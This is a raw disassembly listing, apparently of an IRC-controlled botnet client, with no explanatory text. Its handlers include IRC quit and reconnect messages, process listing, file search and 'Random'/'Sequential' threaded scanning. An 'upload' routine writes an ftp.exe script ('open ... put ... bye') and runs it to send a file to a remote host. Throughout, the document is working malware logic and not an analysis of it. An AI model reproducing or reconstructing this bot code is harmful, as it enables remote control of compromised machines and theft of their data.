loc_406D15: ; CODE XREF: sub_403038+3CF1j
cmp [ebp+var_3E8], ebx
jnz loc_4034D4
push 32h
nop
call near ptr 2690599h
jmp short loc_406D15
; ---------------------------------------------------------------------------
loc_406D2B: ; CODE XREF: sub_403038+3CDBj
nop
call near ptr 26908EFh
push eax
push offset unk_4385A8
jmp loc_408716
; ---------------------------------------------------------------------------
loc_406D3C: ; CODE XREF: sub_403038+166Dj
; sub_403038+1682j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4104DF
push offset dword_43856C
call sub_410557
jmp loc_4068E3
; ---------------------------------------------------------------------------
loc_406D5C: ; CODE XREF: sub_403038+1643j
; sub_403038+1658j
push [ebp+var_88]
lea eax, [ebp+var_378]
push 80h
push eax
call sub_4172D0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_37C], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_2EC], eax
jz short loc_406DB6
push offset aSub ; "sub"
push esi
call sub_417870
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_2F4], eax
jmp short loc_406DBC
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: sub_403038+3D62j
mov [ebp+var_2F4], ebx
loc_406DBC: ; CODE XREF: sub_403038+3D7Cj
lea eax, [ebp+var_2E4]
push offset dword_438504
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 28h
push eax
call sub_408E53
add esp, 14h
mov [ebp+var_2F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_37C]
push ebx
push eax
push offset word_408EBE
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_2F8]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_406E2A
loc_406E14: ; CODE XREF: sub_403038+3DF0j
cmp [ebp+var_2E8], ebx
jnz loc_404E30
push 32h
nop
call near ptr 2690599h
jmp short loc_406E14
; ---------------------------------------------------------------------------
loc_406E2A: ; CODE XREF: sub_403038+3DDAj
call near ptr 26908EFh
nop
push eax
push offset unk_438524
loc_406E36: ; CODE XREF: sub_403038+2ACBj
; sub_403038+2BB0j
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
jmp loc_404E30
; ---------------------------------------------------------------------------
loc_406E4A: ; CODE XREF: sub_403038+15C7j
; sub_403038+15DCj
push offset aMqbol ; "mqbol"
lea eax, [ebp+var_2E4]
push offset dword_43848C
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 20h
jmp loc_4058F0
; ---------------------------------------------------------------------------
loc_406E81: ; CODE XREF: sub_403038+159Dj
; sub_403038+15B2j
push dword_4D3014
call sub_413F6C
push eax
lea eax, [ebp+var_2E4]
push offset unk_438458
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 24h
jmp loc_4058F0
; ---------------------------------------------------------------------------
loc_406EBF: ; CODE XREF: sub_403038+1573j
; sub_403038+1588j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_406EF1
cmp [ebp+var_C], ebx
jz short loc_406F00
push esi
push [ebp+var_C]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_406F00
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_4013FF
add esp, 0Ch
jmp short loc_406F00
; ---------------------------------------------------------------------------
loc_406EF1: ; CODE XREF: sub_403038+3E90j
push offset aQuitLater_0 ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_4013FF
pop ecx
pop ecx
loc_406F00: ; CODE XREF: sub_403038+3E95j
; sub_403038+3EA4j ...
push 0FFFFFFFEh
jmp loc_4034D6
; ---------------------------------------------------------------------------
loc_406F07: ; CODE XREF: sub_403038+1549j
; sub_403038+155Ej
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_4013FF
push offset dword_438408
call sub_410557
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_4034D7
; ---------------------------------------------------------------------------
loc_406F29: ; CODE XREF: sub_403038+151Fj
; sub_403038+1534j
push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4013FF
push offset dword_4383C4
call sub_410557
add esp, 0Ch
jmp loc_40617E
; ---------------------------------------------------------------------------
loc_406F48: ; CODE XREF: sub_403038+14F5j
; sub_403038+150Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4094E0
jmp loc_408183
; ---------------------------------------------------------------------------
loc_406F5E: ; CODE XREF: sub_403038+14CBj
; sub_403038+14E0j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_409475
jmp loc_408183
; ---------------------------------------------------------------------------
loc_406F74: ; CODE XREF: sub_403038+14A1j
; sub_403038+14B6j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4093A7
jmp loc_408183
; ---------------------------------------------------------------------------
loc_406F8A: ; CODE XREF: sub_403038+13FCj
; sub_403038+1411j
push [ebp+esi+var_8C]
push 27h
push offset aProcessList ; "Process list"
push offset dword_4382E4
jmp short loc_406FB2
; ---------------------------------------------------------------------------
loc_406F9F: ; CODE XREF: sub_403038+13D2j
; sub_403038+13E7j
push [ebp+esi+var_8C]
push 24h
push offset aFindFile ; "Find file"
push offset dword_4382B0
loc_406FB2: ; CODE XREF: sub_403038+FD7j
; sub_403038+102Aj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4090E1
add esp, 20h
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_406FCE: ; CODE XREF: sub_403038+FEBj
; sub_403038+1000j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_406FED
push edi
call sub_4174D0
test eax, eax
pop ecx
jz short loc_406FED
push edi
call sub_4174D0
pop ecx
jmp short loc_406FF2
; ---------------------------------------------------------------------------
loc_406FED: ; CODE XREF: sub_403038+3F9Fj
; sub_403038+3FAAj
mov eax, dword_436C08
loc_406FF2: ; CODE XREF: sub_403038+3FB3j
mov esi, [ebp+esi+var_88]
mov [ebp+var_300], eax
cmp esi, ebx
jz short loc_407017
push esi
loc_407004: ; CODE XREF: sub_403038+3FEEj
lea eax, [ebp+var_310]
push 10h
push eax
call sub_4172D0
add esp, 0Ch
jmp short loc_40702E
; ---------------------------------------------------------------------------
loc_407017: ; CODE XREF: sub_403038+3FC9j
cmp [ebp+var_99B], bl
jz short loc_407028
lea eax, [ebp+var_C0]
push eax
jmp short loc_407004
; ---------------------------------------------------------------------------
loc_407028: ; CODE XREF: sub_403038+3FE5j
mov [ebp+var_310], bl
loc_40702E: ; CODE XREF: sub_403038+3FDDj
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_2F4], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_2F0], eax
lea eax, [ebp+var_390]
push eax
mov [ebp+var_394], esi
call sub_4172D0
add esp, 0Ch
push [ebp+var_300]
push esi
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset dword_437EB4
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 19h
push eax
call sub_408E53
add esp, 1Ch
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_394]
push ebx
push eax
push offset word_40F9E6
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_4070DF
loc_4070C9: ; CODE XREF: sub_403038+40A5j
cmp [ebp+var_2EC], ebx
jnz loc_4034D4
push 32h
nop
call near ptr 2690599h
jmp short loc_4070C9
; ---------------------------------------------------------------------------
loc_4070DF: ; CODE XREF: sub_403038+408Fj
nop
call near ptr 26908EFh
push eax
push offset dword_437EDC
jmp loc_408716
; ---------------------------------------------------------------------------
loc_4070F0: ; CODE XREF: sub_403038+F98j
; sub_403038+FADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_407110
push esi
call sub_4174D0
test ax, ax
pop ecx
jz short loc_407110
push esi
call sub_4174D0
pop ecx
jmp short loc_407116
; ---------------------------------------------------------------------------
loc_407110: ; CODE XREF: sub_403038+40C1j
; sub_403038+40CDj
mov ax, word_436C18
loc_407116: ; CODE XREF: sub_403038+40D6j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov word ptr [ebp+var_300], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_2F0], eax
lea eax, [ebp+var_380]
push eax
mov [ebp+var_384], esi
mov [ebp+var_2F4], edi
call sub_4172D0
movzx eax, word ptr [ebp+var_300]
add esp, 0Ch
push eax
push esi
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_437E10
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_401445
push ebx
lea eax, [ebp+var_2E4]
push 6
push eax
call sub_408E53
add esp, 30h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_384]
push ebx
push eax
push offset dword_40CFDC
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_4071E5
loc_4071CF: ; CODE XREF: sub_403038+41ABj
cmp [ebp+var_2EC], ebx
jnz loc_4034D4
push 32h
nop
call near ptr 2690599h
jmp short loc_4071CF
; ---------------------------------------------------------------------------
loc_4071E5: ; CODE XREF: sub_403038+4195j
nop
call near ptr 26908EFh
push eax
push offset unk_437E3C
jmp loc_408716
; ---------------------------------------------------------------------------
loc_4071F6: ; CODE XREF: sub_403038+F6Ej
; sub_403038+F83j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_413D8F
jmp loc_408183
; ---------------------------------------------------------------------------
loc_40720C: ; CODE XREF: sub_403038+F44j
; sub_403038+F59j
push offset unk_437D40
jmp loc_4058C1
; ---------------------------------------------------------------------------
loc_407216: ; CODE XREF: sub_403038+F1Aj
; sub_403038+F2Fj
push offset aBy ; "By"
push offset dword_437D20
loc_407220: ; CODE XREF: sub_403038+2A6Cj
; sub_403038+2D90j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
loc_40722C: ; CODE XREF: sub_403038+38F6j
add esp, 0Ch
jmp loc_4058CF
; ---------------------------------------------------------------------------
loc_407234: ; CODE XREF: sub_403038+EF0j
; sub_403038+F05j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40728B
push esi
call sub_4174D0
cmp eax, ebx
pop ecx
jl short loc_407283
cmp eax, 3
jge short loc_407283
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40727B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2E4]
push offset unk_437C7C
push eax
call sub_4171D0
add esp, 0Ch
mov [esi], bl
jmp short loc_4072D4
; ---------------------------------------------------------------------------
loc_40727B: ; CODE XREF: sub_403038+4225j
push eax
push offset unk_437C9C
jmp short loc_4072C5
; ---------------------------------------------------------------------------
loc_407283: ; CODE XREF: sub_403038+4210j
; sub_403038+4215j
push eax
push offset unk_437CC8
jmp short loc_4072C5
; ---------------------------------------------------------------------------
loc_40728B: ; CODE XREF: sub_403038+4205j
mov edi, [ebp+arg_18]
xor esi, esi
loc_407290: ; CODE XREF: sub_403038+4274j
push [ebp+var_90]
push edi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4072B0
inc esi
add edi, 80h
cmp esi, 3
jl short loc_407290
jmp short loc_4072D4
; ---------------------------------------------------------------------------
loc_4072B0: ; CODE XREF: sub_403038+4268j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset unk_437CF4
loc_4072C5: ; CODE XREF: sub_403038+255Aj
; sub_403038+2588j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
loc_4072D4: ; CODE XREF: sub_403038+2548j
; sub_403038+256Ej ...
cmp [ebp+var_8], ebx
jnz loc_403953
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
jmp loc_403953
; ---------------------------------------------------------------------------
loc_4072FE: ; CODE XREF: sub_403038+EC6j
; sub_403038+EDBj
push [ebp+var_8C]
push offset a332_2 ; "332"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_404928
call sub_40901C
push ebx
call near ptr 77E75CB5h
nop
loc_407324: ; CODE XREF: sub_403038+1C68j
push edi
push offset aHttpcon ; "httpcon"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40734A
push edi
push offset aHcon ; "hcon"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4073D4
loc_40734A: ; CODE XREF: sub_403038+42FBj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+esi+var_84]
push [ebp+arg_0]
call sub_4174D0
pop ecx
push eax
push [ebp+esi+var_8C]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40E8F7
jmp loc_40858C
; ---------------------------------------------------------------------------
loc_407382: ; CODE XREF: sub_403038+1C3Ej
; sub_403038+1C53j
push 0Bh
call sub_40909B
push [ebp+arg_0]
mov [ebp+arg_18], eax
call sub_4174D0
add eax, [ebp+arg_18]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_40754D
push [ebp+arg_18]
lea eax, [ebp+var_2E4]
push offset unk_439C98
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 20h
loc_4073D4: ; CODE XREF: sub_403038+430Cj
cmp [ebp+esi+var_7C], ebx
jz loc_4034D4
push edi
push offset aUpload ; "upload"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_40858F
mov edi, [ebp+esi+var_7C]
push 4
push edi
mov [ebp+arg_18], edi
call sub_41156C
pop ecx
test eax, eax
pop ecx
jnz short loc_407413
push edi
push offset unk_439E8C
jmp loc_40511A
; ---------------------------------------------------------------------------
loc_407413: ; CODE XREF: sub_403038+43CEj
call near ptr 26C05FFh
nop
push eax
call sub_417B00
pop ecx
call sub_417B10
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_417B10
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_417B10
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_C84]
push edx
push eax
lea eax, [ebp+var_B80]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4171D0
lea eax, [ebp+var_B80]
push offset aAb ; "ab"
push eax
call sub_417050
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_4034D4
push [ebp+arg_18]
mov edi, [ebp+esi+var_8C]
push [ebp+arg_10]
push [ebp+esi+var_84]
push [ebp+arg_0]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_418240
push [ebp+arg_24]
call sub_414C60
lea eax, [ebp+var_B80]
push eax
lea eax, [ebp+var_4E4]
push offset aSS_0 ; "-s:%s"
push eax
call sub_4171D0
add esp, 2Ch
lea eax, [ebp+var_4E4]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_1 ; "open"
push ebx
call dword_4452B4
push edi
push [ebp+arg_18]
test eax, eax
jz short loc_4074EC
push offset unk_439EFC
jmp short loc_4074F1
; ---------------------------------------------------------------------------
loc_4074EC: ; CODE XREF: sub_403038+44ABj
push offset dword_439F24
loc_4074F1: ; CODE XREF: sub_403038+44B2j
call sub_4171D0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40751A
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_40751A: ; CODE XREF: sub_403038+44C4j
lea eax, [ebp+var_2E4]
push eax
call sub_410557
loc_407526: ; CODE XREF: sub_403038+4513j
lea eax, [ebp+var_B80]
push 4
push eax
call sub_41156C
add esp, 0Ch
test eax, eax
jz loc_4034D4
lea eax, [ebp+var_B80]
push eax
call sub_4181D0
jmp short loc_407526
; ---------------------------------------------------------------------------
loc_40754D: ; CODE XREF: sub_403038+4366j
push [ebp+esi+var_8C]
call sub_4174D0
push [ebp+arg_0]
mov [ebp+var_41C], eax
call sub_4174D0
push [ebp+esi+var_84]
mov [ebp+var_404], eax
call sub_4174D0
add esp, 0Ch
cmp eax, 5
mov [ebp+var_418], eax
jnb short loc_407590
push 5
pop eax
mov [ebp+var_418], eax
loc_407590: ; CODE XREF: sub_403038+454Dj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40759D
mov [ebp+var_418], ecx
loc_40759D: ; CODE XREF: sub_403038+455Dj
push [ebp+arg_10]
call sub_4174D0
mov [ebp+var_414], eax
mov eax, 320h
cmp [ebp+var_414], eax
pop ecx
jbe short loc_4075BF
mov [ebp+var_414], eax
loc_4075BF: ; CODE XREF: sub_403038+457Fj
or [ebp+var_400], 0FFFFFFFFh
cmp dword_43DE38, ebx
mov [ebp+arg_0], ebx
jz short loc_407612
mov edi, offset dword_43DE38
loc_4075D6: ; CODE XREF: sub_403038+45BCj
push [ebp+esi+var_8C]
lea eax, [edi-28h]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4075F8
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_4075D6
jmp short loc_407612
; ---------------------------------------------------------------------------
loc_4075F8: ; CODE XREF: sub_403038+45B2j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_400], eax
shl ecx, 6
mov ecx, dword_43DE38[ecx]
mov [ebp+var_41C], ecx
loc_407612: ; CODE XREF: sub_403038+4597j
; sub_403038+45BEj
cmp [ebp+var_41C], ebx
jnz short loc_407621
push offset unk_439CD8
jmp short loc_407679
; ---------------------------------------------------------------------------
loc_407621: ; CODE XREF: sub_403038+45E0j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40765C
cmp byte ptr [edi], 23h
jz short loc_40765C
push edi
lea eax, [ebp+var_530]
push 10h
push eax
call sub_4172D0
push 78h
push edi
call sub_4185C0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_3F0], eax
jmp loc_40773E
; ---------------------------------------------------------------------------
loc_40765C: ; CODE XREF: sub_403038+45F2j
; sub_403038+45F7j
cmp [ebp+var_99B], bl
jnz short loc_40768C
cmp [ebp+var_99A], bl
jnz short loc_40768C
cmp [ebp+var_98A], bl
jnz short loc_40768C
push offset unk_439D0C
loc_407679: ; CODE XREF: sub_403038+2FC7j
; sub_403038+348Cj ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_405129
; ---------------------------------------------------------------------------
loc_40768C: ; CODE XREF: sub_403038+462Aj
; sub_403038+4632j ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_4452EC
mov al, [ebp+var_99B]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_4453D4
push eax
lea eax, [ebp+var_530]
push eax
call sub_417770
add esp, 0Ch
cmp [ebp+var_98A], bl
jz short loc_407738
xor eax, eax
cmp [ebp+var_99B], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_530]
push eax
call sub_418310
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40772C
loc_40770A: ; CODE XREF: sub_403038+46F2j
cmp eax, ebx
jz short loc_40772C
mov byte ptr [eax], 78h
lea eax, [ebp+var_530]
push 30h
push eax
call sub_418310
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40770A
loc_40772C: ; CODE XREF: sub_403038+46D0j
; sub_403038+46D4j
mov [ebp+var_3F0], 1
jmp short loc_40773E
; ---------------------------------------------------------------------------
loc_407738: ; CODE XREF: sub_403038+46AAj
mov [ebp+var_3F0], ebx
loc_40773E: ; CODE XREF: sub_403038+461Fj
; sub_403038+46FEj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_420], eax
mov eax, [ebp+var_4]
mov [ebp+var_3F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3F4], eax
mov edi, 80h
lea eax, [ebp+var_520]
push edi
push eax
call sub_4172D0
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_40778F
loc_40777C: ; CODE XREF: sub_403038+477Aj
push esi
loc_40777D: ; CODE XREF: sub_403038+4764j
lea eax, [ebp+var_4A0]
push edi
push eax
call sub_4172D0
add esp, 0Ch
jmp short loc_4077BA
; ---------------------------------------------------------------------------
loc_40778F: ; CODE XREF: sub_403038+4742j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40779E
cmp byte ptr [eax], 23h
jnz short loc_40779E
push eax
jmp short loc_40777D
; ---------------------------------------------------------------------------
loc_40779E: ; CODE XREF: sub_403038+475Cj
; sub_403038+4761j
mov esi, offset aRpmxp_0 ; "#RpmXp"
push offset dword_4D31A0
push esi
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_40777C
mov [ebp+var_4A0], bl
loc_4077BA: ; CODE XREF: sub_403038+4755j
cmp [ebp+var_3F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_4077CC
mov eax, offset aSequential_0 ; "Sequential"
loc_4077CC: ; CODE XREF: sub_403038+478Dj
push [ebp+var_404]
lea ecx, [ebp+var_530]
push [ebp+var_414]
push [ebp+var_418]
push [ebp+var_41C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_439D54
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 0Bh
push eax
call sub_408E53
add esp, 2Ch
mov [ebp+var_410], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_530]
push ebx
push eax
push offset loc_40A0E0
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_410]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40785A
loc_407844: ; CODE XREF: sub_403038+4820j
cmp [ebp+var_3EC], ebx
jnz loc_405129
push 32h
nop
call near ptr 2690599h
jmp short loc_407844
; ---------------------------------------------------------------------------
loc_40785A: ; CODE XREF: sub_403038+480Aj
nop
call near ptr 26908EFh
push eax
push offset unk_439DBC
jmp loc_40511A
; ---------------------------------------------------------------------------
loc_40786B: ; CODE XREF: sub_403038+1C14j
; sub_403038+1C29j
push [ebp+esi+var_8C]
call sub_402561
push [ebp+arg_0]
mov [ebp+var_2FC], eax
call sub_4174D0
push [ebp+esi+var_84]
mov [ebp+var_30C], eax
call sub_4174D0
push [ebp+arg_10]
mov [ebp+var_308], eax
call sub_4174D0
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_304], eax
lea eax, [ebp+var_38C]
mov [ebp+var_390], esi
push eax
call sub_417770
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_2F4], edi
push [ebp+var_308]
mov [ebp+var_2F0], eax
push [ebp+var_30C]
push [ebp+var_304]
push [ebp+var_2FC]
call dword_4453D4
push eax
lea eax, [ebp+var_2E4]
push offset unk_439C00
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 0Bh
push eax
call sub_408E53
add esp, 24h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_390]
push ebx
push eax
push offset byte_40A4FD
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40796A
loc_407954: ; CODE XREF: sub_403038+4930j
cmp [ebp+var_2EC], ebx
jnz loc_407EE8
push 32h
call near ptr 2690599h
nop
jmp short loc_407954
; ---------------------------------------------------------------------------
loc_40796A: ; CODE XREF: sub_403038+491Aj
nop
call near ptr 26908EFh
push eax
push offset unk_439C50
jmp loc_407ED9
; ---------------------------------------------------------------------------
loc_40797B: ; CODE XREF: sub_403038+1BDBj
; sub_403038+1BF0j
mov edi, [ebp+esi+var_8C]
push edi
mov [ebp+arg_10], edi
call sub_4174D0
imul eax, 234h
pop ecx
cmp byte_446228[eax], bl
jz loc_40858F
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+arg_0]
call sub_414BE0
mov edx, eax
push edi
mov edi, edx
call sub_414BE0
push [ebp+arg_20]
add edi, eax
call sub_414BE0
add eax, [ebp+var_C]
push [ebp+esi+var_84]
lea eax, [eax+edi+2]
push eax
call sub_417B50
mov esi, eax
lea eax, [ebp+var_2E4]
push esi
push offset dword_439BD4
push eax
call sub_4171D0
add esp, 20h
cmp esi, ebx
jz loc_40858F
mov edi, [ebp+arg_10]
push edi
call sub_4174D0
test eax, eax
pop ecx
jle loc_40858F
push edi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
push ebx
lea eax, [ebp+var_2E4]
push ebx
push eax
push [ebp+arg_0]
push edi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_401445
push edi
call sub_4174D0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_446010[eax], 73h
jnz loc_40858F
push esi
push edi
call sub_4174D0
imul eax, 234h
pop ecx
add eax, offset byte_446228
push eax
push [ebp+arg_0]
push offset dword_439BE0
loc_407A76: ; CODE XREF: sub_403038+4B4Ej
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
loc_407A9B: ; CODE XREF: sub_403038+3A37j
add esp, 28h
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_407AA3: ; CODE XREF: sub_403038+1BB1j
; sub_403038+1BC6j
mov edi, [ebp+esi+var_8C]
push edi
mov [ebp+arg_10], edi
call sub_4174D0
imul eax, 234h
pop ecx
cmp byte_446228[eax], bl
jz loc_40858F
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+arg_0]
call sub_414BE0
mov edx, eax
push edi
mov edi, edx
call sub_414BE0
push [ebp+arg_20]
add edi, eax
call sub_414BE0
add eax, [ebp+var_C]
push [ebp+esi+var_84]
lea eax, [eax+edi+2]
push eax
call sub_417B50
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40858F
mov edi, [ebp+arg_10]
push edi
call sub_4174D0
test eax, eax
pop ecx
jle loc_40858F
push edi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
push ebx
push ebx
push esi
push [ebp+arg_0]
push edi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_401445
push edi
call sub_4174D0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_446010[eax], 73h
jnz loc_40858F
push esi
push edi
call sub_4174D0
imul eax, 234h
pop ecx
add eax, offset byte_446228
push eax
push [ebp+arg_0]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_407A76
; ---------------------------------------------------------------------------
loc_407B8B: ; CODE XREF: sub_403038+1B87j
; sub_403038+1B9Cj
push [ebp+esi+var_8C]
call dword_445388
push [ebp+arg_0]
mov [ebp+var_2FC], eax
call sub_4174D0
push [ebp+esi+var_84]
mov [ebp+var_30C], eax
call sub_4174D0
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_304], eax
lea eax, [ebp+var_38C]
mov [ebp+var_390], esi
push eax
call sub_417770
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_2F4], edi
push [ebp+var_304]
mov [ebp+var_2F0], eax
push [ebp+var_30C]
push [ebp+var_2FC]
call dword_4453D4
push eax
lea eax, [ebp+var_2E4]
push offset unk_439B2C
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 0Bh
push eax
call sub_408E53
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_390]
push ebx
push eax
push offset dword_40A40C
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_407C77
loc_407C61: ; CODE XREF: sub_403038+4C3Dj
cmp [ebp+var_2EC], ebx
jnz loc_407EE8
push 32h
nop
call near ptr 2690599h
jmp short loc_407C61
; ---------------------------------------------------------------------------
loc_407C77: ; CODE XREF: sub_403038+4C27j
call near ptr 26908EFh
nop
push eax
push offset unk_439B68
jmp loc_407ED9
; ---------------------------------------------------------------------------
loc_407C88: ; CODE XREF: sub_403038+1B5Dj
; sub_403038+1B72j
push [ebp+esi+var_8C]
call sub_4174D0
push 7Fh
